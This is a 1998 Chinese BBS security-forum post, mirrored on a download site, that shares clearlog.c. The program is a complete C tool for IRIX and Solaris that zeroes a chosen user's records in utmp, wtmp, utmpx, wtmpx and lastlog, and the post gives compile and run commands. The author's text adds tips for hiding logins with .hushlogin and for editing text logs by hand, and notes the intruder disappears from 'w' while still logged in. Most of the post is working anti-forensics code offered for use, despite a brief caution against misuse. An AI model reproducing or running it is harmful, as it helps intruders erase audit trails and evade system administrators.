⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 clearlog.c.txt

📁 当今
💻 TXT
字号:
发信人: scz (小四★笑看风云), 信区: Security 

标  题: clearlog.c 

发信站: 武汉白云黄鹤站 (Mon Dec 28 19:52:30 1998) , 站内信件 

  

大家都是高手,我不大跟得上形势发展,只是觉得 

还有许多好学的同志如我一样急于有点感性认识,而 

不是一上来就术语漫天飞舞,所以把精华区中的东西 

实地演练一番,因为我知道自己当时想编译运行一个 

程序的心情。原来的程序中将include去掉了,据说 

是出于什么考虑,不是很理解, 既然写出来是为了 

交流学习互相提高,就不必藏头露尾半遮半掩,由此 

想及一些话说半截吞吞吐吐,与其这样卖乖不如不说, 

至少小弟对此现象深恶痛绝,此次偏要补全。程序未 

经优化,仅仅是闲来修改精华区中一程序所得,原来 

没有处理/var/adm/utmpx和/var/adm/wtmpx,并且对 

/var/adm/lastlog的处理不适用于irix6.2。 程序不 

一定适合每种Unix系统,但已经给出了方向和思路, 

事实上我只是简单地看了一下utmpx的man,就照猫画 

老虎补充了一下。 如果你看过了程序,完全应该根 

据自己的目标操作系统修改一下。 显然这个程序只 

处理了那些非正文文件,即无法通过vi编辑的日志文 

件,至于其余日志文件应该用vi去处理一下。关于 

lastlog的问题,若在用户主目录下存在一个 

.hushlogin文件,内容无所谓,则下次登录时不会显 

示lastlog,虽然日志里依旧记录了。 一般也可以通 

过telnet localhost或rlogin localhost等来抹除, 

只是也太小儿科了些。登录上去后先快速w一下,可以 

看到自己,等你clearlog后再w就已经找不到自己了, 

虽然你还在系统里。大家都是革命好同志,革命自觉 

性都很高,交流学习无妨,可千万不要走水了。古典 

派还是比新生代文明些吧。小弟对攻击一窍不通,所 

提可笑之处尚请大方之家莫要笑话。 

  

/* 

编译: 

cc -o clearlog clearlog.c 

运行: 

irix6.2下,./clearlog root 

solaris2.6下,./clearlog root sun 

*/ 

  

#include <sys/types.h> 

#include <stdio.h> 

#include <unistd.h> 

#include <sys/file.h> 

#include <fcntl.h> 

#include <utmp.h> 

#include <utmpx.h> 

#include <pwd.h> 

#include <lastlog.h> 

#include <errno.h> 

#define  WTMP_NAME    "/var/adm/wtmp" 

#define  UTMP_NAME    "/var/adm/utmp" 

#define  LASTLOG_NAME "/var/adm/lastlog" 

#define  UTMPX_FILE   "/var/adm/utmpx" 

#define  WTMPX_FILE   "/var/adm/wtmpx" 

#define  ut_name      ut_user 

#define  ut_xtime     ut_tv.tv_sec 

#ifndef  L_XTND    /* solaris下似乎没有定义这个宏 */ 

#define  L_XTND 2  /* relative to end of file */ 

#endif 

  

extern int errno; 

int f; 

  

void kill_utmpx (char* who) { 

    struct utmpx utmpx_ent; 

    if ((f = open(UTMPX_FILE, O_RDWR)) >= 0) { 

        while (read(f, &utmpx_ent, sizeof(utmpx_ent)) > 0 ) { 

            if (!strncmp(utmpx_ent.ut_name, who, strlen(who))) { 

                bzero((char*)&utmpx_ent, sizeof(utmpx_ent)); 

                lseek(f, -(sizeof(utmpx_ent)), SEEK_CUR); 

                write(f, &utmpx_ent, sizeof(utmpx_ent)); 

            } 

        } 

        close(f); 

    } 

    if ((f = open(WTMPX_FILE, O_RDWR)) >= 0) { 

        while (read(f, &utmpx_ent, sizeof(utmpx_ent)) > 0 ) { 

            if (!strncmp(utmpx_ent.ut_name, who, strlen(who))) { 

                bzero((char*)&utmpx_ent, sizeof(utmpx_ent)); 

                lseek(f, -(sizeof(utmpx_ent)), SEEK_CUR); 

                write(f, &utmpx_ent, sizeof(utmpx_ent)); 

            } 

        } 

        close(f); 

    } 

  

} 

  

void kill_utmp (char* who) { 

    struct utmp utmp_ent; 

    if ((f = open(UTMP_NAME, O_RDWR)) >= 0) { 

        while (read(f, &utmp_ent, sizeof(utmp_ent)) > 0 ) { 

            if (!strncmp(utmp_ent.ut_name, who, strlen(who))) { 

                bzero((char*)&utmp_ent, sizeof(utmp_ent)); 

                lseek(f, -(sizeof(utmp_ent)), SEEK_CUR); 

                write(f, &utmp_ent, sizeof(utmp_ent)); 

            } 

        } 

        close(f); 

    } 

} 

  

void kill_wtmp (char* who) { 

    struct utmp utmp_ent; 

    long pos; 

  

    pos = 1L; 

    if ((f = open(WTMP_NAME, O_RDWR)) >= 0) { 

        while(pos != -1L) { 

            lseek(f, -(long)((sizeof(struct utmp)) * pos), L_XTND); 

            if (read(f, &utmp_ent, sizeof(struct utmp)) < 0) { 

                pos = -1L; 

            } 

            else { 

                if (!strncmp(utmp_ent.ut_name, who, strlen(who))) { 

                    bzero((char*)&utmp_ent, sizeof(struct utmp )); 

                    lseek(f,-((sizeof(struct utmp)) * pos), L_XTND); 

                    write(f, &utmp_ent, sizeof(utmp_ent)); 

                    pos = -1L; 

                } 

                else { 

                    pos += 1L; 

                } 

            } 

        } 

        close(f); 

    } 

} 

  

void solaris_kill_lastlog (char* who) { 

    struct passwd *pwd; 

    struct lastlog newll; 

  

    if ((pwd = getpwnam(who)) != NULL) { 

        if ((f = open(LASTLOG_NAME, O_RDWR)) >= 0) { 

            lseek(f, (long)pwd->pw_uid * sizeof(struct lastlog), 0); 

            bzero((char*)&newll, sizeof(newll)); 

            write(f, (char*)&newll, sizeof(newll)); 

            close(f); 

        } 

    } 

    else { 

        printf("%s: ?\n", who); 

    } 

} 

  

void kill_lastlog (char* who) { 

    struct passwd *pwd; 

    struct lastlog newll; 

    char   tempString[1024]; 

  

    if ((pwd = getpwnam(who)) != NULL) { 

        sprintf(tempString, "%s/%s", LASTLOG_NAME, who); 

        printf(tempString); 

        printf("\n"); 

        if ((f = open(tempString, O_RDWR)) >= 0) { 

            lseek(f, (long)pwd->pw_uid * sizeof(struct lastlog), 0); 

            bzero((char*)&newll, sizeof(newll)); 

            write(f, (char*)&newll, sizeof(newll)); 

            close(f); 

        } 

    } 

    else { 

        printf("%s: ?\n", who); 

    } 

} 

  

/* 

void kill_lastlog (char* who) { 

    struct passwd *pwd; 

    struct lastlog newll; 

    char   tempString[1024]; 

  

    if ((pwd = getpwnam(who)) != NULL) { 

        sprintf(tempString, "%s/%s", LASTLOG_NAME, who); 

        printf(tempString); 

        printf("\n"); 

        if (remove(tempString) == -1) { 

            if (errno == ENOENT) { 

                printf("无此文件\n"); 

            } 

            else if (errno ==  EACCES) { 

                printf("权限不对s\n"); 

            } 

        } 

    } 

    else { 

        printf("%s: ?\n", who); 

    } 

} 

*/ 

  

int main (int argc, char* argv[]) { 

    if (argc == 2) { 

        kill_lastlog(argv[1]); 

        kill_wtmp(argv[1]); 

        kill_utmpx(argv[1]); 

        kill_utmp(argv[1]); 

        printf("\nOk!\n"); 

    } 

    else if (argc == 3) { 

        solaris_kill_lastlog(argv[1]); 

        kill_wtmp(argv[1]); 

        kill_utmpx(argv[1]); 

        kill_utmp(argv[1]); 

        printf("\nOk!\n"); 

    } 

    else { 

        printf("\nError!\n"); 

    } 

} 

  

  

-- 

            无论何时何地,流星总会带着它已寂灭的伙伴踏上 

            归途,回到从前出发的故乡 

                                    -------风中的承诺 

  

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -